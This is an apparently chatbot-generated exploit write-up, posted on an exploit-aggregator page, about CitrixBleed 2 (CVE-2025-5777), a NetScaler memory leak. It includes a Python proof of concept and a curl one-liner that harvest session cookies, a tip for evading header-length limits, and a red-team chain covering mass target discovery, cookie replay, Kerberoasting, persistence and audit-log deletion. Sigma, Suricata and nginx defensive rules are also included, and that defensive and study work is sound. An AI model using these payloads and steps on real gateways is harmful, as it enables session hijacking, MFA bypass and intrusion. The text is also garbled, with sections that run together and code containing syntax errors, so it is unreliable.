## https://sploitus.com/exploit?id=932E7430-D3D7-5009-A84B-C4290E198BBB
# CitrixBleed 2 (CVE-2025-5777) Ultimate Analysis
> An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — A Comprehensive Guide from Cause to Attack and Defense Exercises
---
poc usage: python3 poc.py https://gateway.example.com
---
exp usage: python3 exp.py https://gateway.example.com admin 7acbb35f4d... ---
## Table of Contents
```
0x00 Introduction / Overview
0x01 Background: NetScaler Architecture and CitrixBleed 1 Review
0x02 Vulnerability Description (Affected Versions, CVSS, Exploitation Consequences)
0x03 Mechanism Analysis (Source Code Analysis & Debugging Screenshots)
0x04 Minimum PoC + Advanced Scan Script
0x05 Red Team Perspective: Complete Attack Chain (Discovery → Exposure → Session Hijacking → Internal Lateral Movement)
0x06 Blue Team Perspective: Detection, Forensics, and Patch Verification
0x07 Defense Enhancements: Patches, WAF, Configurations, Asset Management
0x08 Learning / Review Roadmap and Practical Experiments
Appendix A: Sigma / Suricata / Nginx-Lua Rules
Appendix B: Patch/Exploitation Timeline & IOC Snapshots
References
```
---
## 0x00 Introduction / Overview
* **CVE-2025-5777** (also known as *CitrixBleed 2*) is an **Out-of-Bounds Memory Read** vulnerability in Citrix NetScaler ADC / Gateway. *Attackers do not require authentication; they simply send a long `Host` header GET request, causing the device to “spout” random memory chunks along with the HTTP response. * The leaked data often includes critical materials such as `NSC_USER` / `NSC_TASS` Cookies, SAML `StateContext`, and MFA tokens, which can be used directly for session hijacking and MFA bypass ([arcticwolf.com][1], [tenable.com][2]). * CVSS v4 Base Score: 9.3 (Critical) ([netscaler.com][3]). * Publicized on **2025-06-17**, Citrix released a patch on **2025-06-23** to expand the scope of the vulnerability; security vendors like ReliaQuest and Bishop Fox observed a surge in exploitable instances within a week ([reliaquest.com][4], [bishopfox.com][5]). ---
## 0x01 Background
### 1.1 Overview of NetScaler Workflow
```
┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway Authentication
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ Forwarding to Applications
│ CVPN / RDP │
└──────┬───────┘
```
NetScaler uses a **multi-process + internal IPC** design. `WebProc` handles most HTTP requests under the AAA / Gateway path, including `/nf/auth/*`, `/oauth/*`, etc. It extensively uses `snprintf()` / `memcpy()` in **C language**, each time assembling XML/HTML fragments. ### 1.2 Review of CitrixBleed 1 (CVE-2023-4966)
* In 2023, a similar vulnerability occurred in the OAuth discovery interface `/oauth/idp/.well-known/openid-configuration`. * Its essence is still **using the return value of `snprintf` as the `len` parameter for subsequent `send()` calls** → leading to out-of-bounds reading. * CitrixBleed 2 demonstrates that *the same security coding flaws* still exist in other paths. > **Lesson Learned**: If security patches are only targeted at “points of failure” rather than “programming paradigms,” they may leave room for “template-based exploitation.” ---
## 0x02 Vulnerability Description
| Field | Content |
| ------------------- | ------------------------------------------------------------------------------- |
| **CVE** | CVE-2025-5777 |
| **Alias** | CitrixBleed 2 |
| **Vulnerability Type** | Out-of-Bounds Read / Information Leakage |
| **CVSS v4 Base** | 9.3 (Critical) ([netscaler.com][3]) |
| **Affected Versions** | This section is based on decompiled code from firmware versions 13.1–55.18, combined with GDB debugging, and organized from public blogs ([bishopfox.com][5]). ### 3.1 Vulnerability Entry
* **URI**: `/nf/auth/startwebview.do`
* **Controllable Parameter**: HTTP `Host` header
* This interface is used to generate the redirect XML for Citrix Workspace WebView. A typical response looks like this:
```xml
https://gateway.example.com/Citrix/AAA/start.html...
```
### 3.2 Key Function Chain
```
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr,...)
```
);
│ └─ return length; // ⚠️ length ＞ 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
```
> **Bugs**:
> `snprintf` returns “the expected length to be written”, but the actual written length is different. If the user-provided `Host` value is greater than 0x1800 – the length of the constant segment – then `length` will be greater than `sizeof(buf)`. ### 3.3 Execution Screenshot
```
buf: [-----XML-----][OOB][OOB][OOB]...... 6144)
```
The `read()` result shows that 1,600 bytes come from uninitialized memory, and other SSL sessions’ Cookie buffers can be seen here. ### 3.4 Categories of Leaked Data
| Category | Demanded Segment (Masked) |
| --------------------- |---------------------------------------------------------------------------|
| Session Cookie | `Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...` |
| MFA/OTP Token | `radius_state=0e2a9c6d1553...` |
| Other Request Body | `audituser***` |
---
## 0x04 PoC Implementation
### 4.1 Single-File Python (15 Lines)
```python
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (Authorized Testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv)!= 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print"[+] Saved leak.bin for offline grep."
```
* If the response contains 200 bytes or more, it indicates a vulnerability. * Further search the `leak.bin` file for keywords like “Cookie” or ““.
### 4.2 Bash/Curl Script
```bash
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
```
> **Bypass**: Some devices use F5/Nginx to limit the `Host` header length. It’s possible to bypass this by using multiple subdomains, such as `foo.foo.foo.…foo.example.com` (repeating “foo” 3000 times). ---
## 0x05 Red Team Perspective: Complete Attack Chain
| Step | Goals & Techniques |
| --------------- | ------------------------------------------------------------------- |
| ① Asset Discovery | Use “zoomeye search “http.title:\"NetScaler Gateway\""” + Shodan, etc.; filter results with “set-cookie: NSC_” |
| ② POC Leakage | Execute batch scripts simultaneously; capture values like “NSC_USER=; NSC_TASS=” |
| ③ Cookie Repetition | Use Chrome DevTools → Application → Cookies → add entries, refresh “/vpn/index.html” |
| ④ Intranet Resources | Access “storeweb/#home” to get RDP files; download “.ica” to log in via VDI |
| ⑤ Permission Elevation | Use internal credentials, Kerberoast, ADCS ESC1; or exploit weak passwords on the same network |
| ⑥ Persistence | Create scheduled tasks; register auto-executing scripts; or modify NetScaler vDisks (high permissions require maintenance negligence) |
| ⑦ Cleanup | Discard cookies after use; delete audit logs (if you get access to the NS root); or use logrotate race to overwrite logs |
Real Case: ReliaQuest observed “a large number of 6KB+ ‘Host’ requests in short bursts → subsequent sessions were stolen” ([reliaquest.com][4]). ---
## 0x06 Blue Team Perspective: Detection, Evidence Collection, and Patch Verification
### 6.1 Logs and IoCs
| Source | Behavior |
| **/var/log/ns.log** | `AAA_TRANSACTION - Host header length: 6144` |
| **HTTP\_ACCESS.log** | `/nf/auth/startwebview.do` request took extremely short time, but the response size was abnormal (> 2 KB) |
| **EDR/PCAP** | `Set-Cookie: NSC_USER=` appeared in the response of non-logged-in requests |
### 6.2 Sigma Rules (Summary)
```yaml
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
```
### 6.3 Patch Verification Script
```bash
nscli -s 127.0.0.1:3008 \
-c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
&& echo "Patched ✅" || echo "Vulnerable ❌"
```
### 6.4 Kill Sessions
```bash
# Remove all active VPN/ICA connections
kill icaconnection -all
kill vpn -all
```
> **Note**: After patching, forced logout is still required to prevent attackers from continuing to use stolen cookies. ---
## 0x07 Defense Enhancements
1. **Official Patches**: Upgraded to ≥ 14.1-43.56 / 13.1-58.32, or apply the corresponding versions for FIPS/NDcPP models ([netscaler.com][3]). 2. **Host Header Length Limit** (temporary measure)
```nginx
map $http_host $block_long_host {
default 0;
"~^.{4097,}$" 1;
}
server {... if ($block_long_host) { return 413; }
}
```
3. **WAF Adaptive Rules**: Apply rate limits to `/nf/auth/` & `/oauth/` paths (e.g., 20 requests per minute). 4. **Asset Inventory**: EOL versions 12.1/13.0 no longer receive official patches; planned replacement or strong isolation ([support.citrix.com][6]). 5. **MFA Security**: Session leaks bypass MFA → It’s recommended to enable “Signature per Request” or “Dynamic Hardware Fingerprint Binding”, rather than just verifying at login. ---
## 0x08 Learning/Review Guide
| Phase | Recommended Resources & Actions |
|----------|-------------------------------------------------------------------------------------------------------------|
| **Theory**| Read Citrix security bulletins, Arctic Wolf/Tenable FAQs, Bishop Fox technical articles ([arcticwolf.com][1], [tenable.com][2], [bishopfox.com][5]) |
| **Experimentation**| Deploy vulnerable version 13.1-55.18 (ESXi/KVM), run minimal PoC, use Wireshark to capture packets → observe `TCP PSH` responses |
| **Programming**| Modify PoC: add automatic cookie replay, ZTLS batch scanning, multi-threaded queues |
| **Blue Team**| Search for hosts with abnormal host header lengths over two hours; use Sigma → Elastic/Graylog; reproduce and verify WAF policies |
| **Sharing**| Write a blog post or create a mind map summarizing “common snprintf usage pitfalls” |
---
## Appendix A – Detection/Defense Resources
📜 Complete Sigma Rules
```yaml
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
product: netscaler
service: http_access
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
```
🛡️ Suricata Rules
```suricata
alert http any any -> any any (
msg:“CitrixBleed2 CVE-2025-5777 Host header overflow”;
http.uri; content:“/nf/auth/startwebview.do”; nocase;
http.header; field:Host; content:“AAAAAAAA”; within:0; distance:0; offset:4096;
classtype:attempted-recon;
sid:5777002; rev:1;
)
🔒 Nginx-Lua Inline Hotpatch
```lua
-- access_by_luaBlock
local host = ngx.var.http_host or ""
if #host > 4096 then
ngx.log(ngx.WARN, “[CitrixBleed2] Blocked Host len=",#host)”
return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end
```
---
## Appendix B – Timeline
| Date (2025) | Event |
| ---------- | ------------------------------------------------------------------- |
| 06-17 | Citrix first published the CVE-2025-5777 announcement ([netscaler.com][3]) |
| 06-18 | Bishop Fox published a technical breakdown & proof of concept ([bishopfox.com][5]) |
| 06-23 | Citrix updated the impact range & released a patch; CISA listed it as a KEV |
| 06-25 | ReliaQuest reported active exploitation; threat groups stole sessions in bulk ([reliaquest.com][4]) |
| 06-27 | BleepingComputer reported “possible widespread exploitation” ([bleepingcomputer.com][7]) |
| 06-28 | Multiple GitHub proofs of concept appeared; Tenable published FAQs ([tenable.com][2]) |
---
## References
1. Citrix’s official security announcements and patch notes ([netscaler.com][3])
2. Arctic Wolf’s “CVE-2025-5777 Technical Brief” ([arcticwolf.com][1])
3. Bishop Fox’s “OOB Memory Read in NetScaler” ([bishopfox.com][5])
4. ReliaQuest’s “Threat Spotlight: CitrixBleed 2” ([reliaquest.com][4])
5. Tenable’s FAQs about CVE-2025-5777 ([tenable.com][2])
6. BleepingComputer’s security news ([bleepingcomputer.com][7])
7. NVD’s CVE-2025-5777 entry ([nvd.nist.gov][8])
8. Citrix Support’s KB article CTX693420 ([support.citrix.com][6])
> **End** — I hope this document helps you fully understand and address CitrixBleed 2. If you need more examples, scripts, or guidance, feel free to ask! [1]: https://arcticwolf.com/resources/blog/cve-2025-5777/?utm_source=chatgpt.com “CVE-2025-5777 | Arctic Wolf”
[2]: https://www.tenable.com/blog/cve-2025-5777-cve-2025-6543-frequently-asked-questions-about-citrixbleed-2?utm_source=chatgpt.com “CVE-2025-5777, CVE-2025-6543: Frequently Asked Questions…”
[3]: https://www.netscaler.com/blog/news/critical-security-updates-for-netscaler-netscaler-gateway-and-netscaler-console/?utm_source=chatgpt.com “Critical security updates for NetScaler, NetScaler Gateway, and…”
[4]: https://reliaquest.com/blog/threat-spotlight-citrix-bleed-2-vulnerability-in-netscaler-adc-gateway-devices/?utm_source=chatgpt.com “Threat Spotlight: CVE-2025-5777: Citrix Bleed 2 Opens Old Wounds”
[5]: https://bishopfox.com/blog/netscaler-adc-and-gateway-advisory?utm_source=chatgpt.com “OOB Memory Read: Netscaler ADC and Gateway – Bishop Fox”
[6]: https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420&utm_source=chatgpt.com “CVE-2025-5777 - CITRIX | Support”
[7]: https://www.bleepingcomputer.com/news/security/citrix-bleed-2-flaw-now-believed-to-be-exploited-in-attacks/?utm_source=chatgpt.com “Citrix Bleed 2 flaw now believed to be exploited in attacks”
[8]: https://nvd.nist.gov/vuln/detail/CVE-2025-5777?utm_source=chatgpt.com “CVE-2025-5777 Detail - NVD”